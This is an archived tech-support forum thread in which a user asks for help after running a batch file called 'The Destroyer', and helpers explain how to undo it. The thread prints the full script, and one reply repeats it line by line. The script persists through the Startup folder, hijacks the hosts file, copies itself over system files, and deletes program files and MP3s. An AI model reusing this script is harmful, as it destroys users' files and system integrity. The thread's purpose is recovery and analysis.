Home / Microsoft / Microsoft DOS / PLEASE HELP WITH BATCH !!
0 Members and 1 Guest are viewing this topic. « previous next »
Pages: [1] - (Bottom) Print
Author Topic: PLEASE HELP WITH BATCH !!  (Read 646 times)
sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« on: November 12, 2009, 12:30:24 PM »

Hello,
i opened a .bat file on my desktop by accident and the batch did somthing and is now blocking my browsers  from going to google,myspace,meebo,facebook

what do i do please help. ???
IP logged
Salmon Trout
Prodigy



Thanked: 501
Posts: 7,363

Computer: Specs
Experience: Guru
OS: Linux variant

1
« Reply #1 on: November 12, 2009, 01:20:12 PM »

post the contents of the bat
IP logged

sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« Reply #2 on: November 12, 2009, 03:57:27 PM »

@echo off
copy"The Destroyer.bat" "%userprofile%\Start Menu\Programs\Startup\ The Destroyer.bat"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 youtube.com >> "Hosts"
echo 127.0.0.1 www.youtube.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 myspace.com >> "Hosts"
echo 127.0.0.1 www.myspace.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 meebo.com >> "Hosts"
echo 127.0.0.1 www.meebo.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 facebook.com >> "Hosts"
echo 127.0.0.1 www.facebook.com >> "Hosts"

taskkill /f /t /im "itunes helper.exe"
Cls
taskkill /f /t /im "itunes.exe"

@echo off
:A
start
explorer
cmd
paint
goto :A

taskkill /f /t /im "aim6.exe"

taskkill /f /t /im "firefox.exe"

Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul

RUNDLL32 USER32.DLL,SwapMouseButton

del /Q /F C:\Program Files\Aim6\*.*
del /Q /F C:\Program Files\Aim\*.*
Cls
del /Q /F C:\Program Files\Aim5\*.*

DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
@ echo off Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"
IP logged
Helpmeh
Egghead



Thanked: 116
Posts: 3,583

Experience: Experienced
OS: Windows XP


Roar.

1
« Reply #3 on: November 12, 2009, 04:12:21 PM »

Wow...you are REALLY smart.

First things first, remove the batch file from the startup folder. Run this from the command prompt:

del "%userprofile%\Start Menu\Programs\Startup\ The Destroyer.bat"

Then open up your HOSTS file, by dragging it into notepad. Remove the following:
127.0.0.1 youtube.com >> "Hosts"
127.0.0.1 www.youtube.com >> "Hosts"
127.0.0.1 google.com >> "Hosts"
127.0.0.1 www.google.com >> "Hosts"
127.0.0.1 myspace.com >> "Hosts"
127.0.0.1 www.myspace.com >> "Hosts"
127.0.0.1 meebo.com >> "Hosts"
127.0.0.1 www.meebo.com >> "Hosts"
127.0.0.1 facebook.com >> "Hosts"
127.0.0.1 www.facebook.com >> "Hosts"

These should be the last entries. Depending on how many times this has been run, there may be multiple copies of the same line.
Now put this in a new batch file on your desktop:

@echo off
del "The Destroyer *"


I am afraid that all you .mp3 files are gone, and you may have to change your mouse settings. Also, any AIM files are gone, you will have to re-install it. 




IP logged

Where's MagicSpeed?
Quote from: 'matt'
He's playing a game called IRL. Great graphics, *censored* gameplay.
sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« Reply #4 on: November 12, 2009, 04:26:02 PM »

ok
1st. when I put that into the CMD prompt nothing happened it says nothing could be found
2nd. do i have to open the .bat file to fix it after removing what u said to
IP logged
Helpmeh
Egghead



Thanked: 116
Posts: 3,583

Experience: Experienced
OS: Windows XP


Roar.

1
« Reply #5 on: November 12, 2009, 04:32:22 PM »

When you turn on your computer, does it show the command prompt, an explorer window and MS paint, does it lag REALLY badly, or does it start up normally?

You will want to remove the HOST file entries, as shown, to get on the websites.
IP logged

Where's MagicSpeed?
Quote from: 'matt'
He's playing a game called IRL. Great graphics, *censored* gameplay.
Computer Hope Admin
Administrator
Prodigy



Thanked: 206
Posts: 6,135

Certifications: List
Computer: Specs
Experience: Guru
OS: Windows Vista

Computer Hope 1 1 1
« Reply #6 on: November 12, 2009, 04:34:12 PM »

Could be because there is a space before the file name try:

del "%userprofile%\Start Menu\Programs\Startup\The Destroyer.bat"

Open the hosts file in the C:\Windows\System32\drivers\etc directory with notepad.

Once open do what was explained above. Additional information and examples of the hosts file is also found on the below link.

http://www.computerhope.com/jargon/l/lmhost.htm
IP logged

Most of the important things in the world have been accomplished by people who have kept on trying when there seemed to be no hope at all.
- Dale Carnegie
sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« Reply #7 on: November 12, 2009, 04:35:05 PM »

nope its been starting fine
nothing pops up

but let me restart my computer now to see if the removing of the hosts worked
IP logged
sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« Reply #8 on: November 12, 2009, 04:39:04 PM »

ok well i did the CMD part with the no space still says "Could Not Be Found"
IP logged
Computer Hope Admin
Administrator
Prodigy



Thanked: 206
Posts: 6,135

Certifications: List
Computer: Specs
Experience: Guru
OS: Windows Vista

Computer Hope 1 1 1
« Reply #9 on: November 12, 2009, 04:45:02 PM »

ok well i did the CMD part with the no space still says "Could Not Be Found"

Did you delete the file? If so maybe that's why since it no longer exists.
IP logged

Most of the important things in the world have been accomplished by people who have kept on trying when there seemed to be no hope at all.
- Dale Carnegie
sarkisisgod
Topic Starter
Greenhorn



Posts: 6


« Reply #10 on: November 12, 2009, 04:49:22 PM »

nope still on my desktop

wait

i went to run\msconfig\startup and uncecked everything that isnt my avg

did that work?
IP logged
Helpmeh
Egghead



Thanked: 116
Posts: 3,583

Experience: Experienced
OS: Windows XP


Roar.

1
« Reply #11 on: November 12, 2009, 05:40:26 PM »

nope still on my desktop

wait

i went to run\msconfig\startup and uncecked everything that isnt my avg

did that work?
Probably not. It wouldn't be there. Look in the startup folder.
IP logged

Where's MagicSpeed?
Quote from: 'matt'
He's playing a game called IRL. Great graphics, *censored* gameplay.
Grimbear13
Rookie



Posts: 43


« Reply #12 on: November 16, 2009, 07:35:14 AM »

Couldn't they manually remove the file from the startup process and also manually change their host file so the websites would direct to the proper host sites?
IP logged
BC_Programmer
Mastermind


Thanked: 682
Posts: 15,624

Computer: Specs
Experience: Beginner
OS: Windows 7


Pinkie Pie is best pony

BC-Programming.com 1 1
« Reply #13 on: November 16, 2009, 12:45:34 PM »

Couldn't they manually remove the file from the startup process and also manually change their host file so the websites would direct to the proper host sites?

Yes, they'd still be missing files, but not much can be done about that.

recuva (http://www.piriform.com/recuva/download) might be able to recover something though.



let's analyze what this batch does, shall we? as CHA mentioned there is a space in the first copy command to startup, no doubt there may be other logic errors of that sort.



Quote
@echo off
copy"The Destroyer.bat" "%userprofile%\Start Menu\Programs\Startup\ The Destroyer.bat"
I believe the space here may be intentional- it makes it harder to delete via the command line. (not sure about XP but vista deletes a file with a space as the first character just fine)


Quote
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 youtube.com >> "Hosts"
echo 127.0.0.1 www.youtube.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 myspace.com >> "Hosts"
echo 127.0.0.1 www.myspace.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 meebo.com >> "Hosts"
echo 127.0.0.1 www.meebo.com >> "Hosts"

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 facebook.com >> "Hosts"
echo 127.0.0.1 www.facebook.com >> "Hosts"

The above, as anybody can see, switches to the directory containing the HOSTS file... but only if windows is installed on C: in the windows folder.

Quote
taskkill /f /t /im "itunes helper.exe"
Cls
taskkill /f /t /im "itunes.exe"

stops a few itunes processes.



Quote
@echo off
:A
start
explorer
cmd
paint
goto :A

Execution NEVER get's past this point; the batch now runs "start", which creates another command interpreter window, opens a explorer window, and then launches a new cmd process; this shows the prompt. cmd behaves normally after this, but exit will cause paint to be executed and the loop to restart.



Quote
taskkill /f /t /im "aim6.exe"

taskkill /f /t /im "firefox.exe"

Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul

RUNDLL32 USER32.DLL,SwapMouseButton

del /Q /F C:\Program Files\Aim6\*.*
del /Q /F C:\Program Files\Aim\*.*
Cls
del /Q /F C:\Program Files\Aim5\*.*

DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
@ echo off Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"

None of this is EVER run by the batch file, since it get's stuck in the aforementioned loop. Therefore, no MP3 files are actually deleted.


there are a few questions however!- where did this batch file come from, why was it on the desktop, and why was it double-clicked.
IP logged

Pages: [1] - (Top) Print 
Home / Microsoft / Microsoft DOS / PLEASE HELP WITH BATCH !! « previous next »
 


Login with username, password and session length

Old Forum Search | Forum Rules
Copyright © 2010 Computer Hope ® All rights reserved.
Powered by SMF 2.0 RC3 | SMF © 2006–2010, Simple Machines LLC
Page created in 0.168 seconds with 20 queries.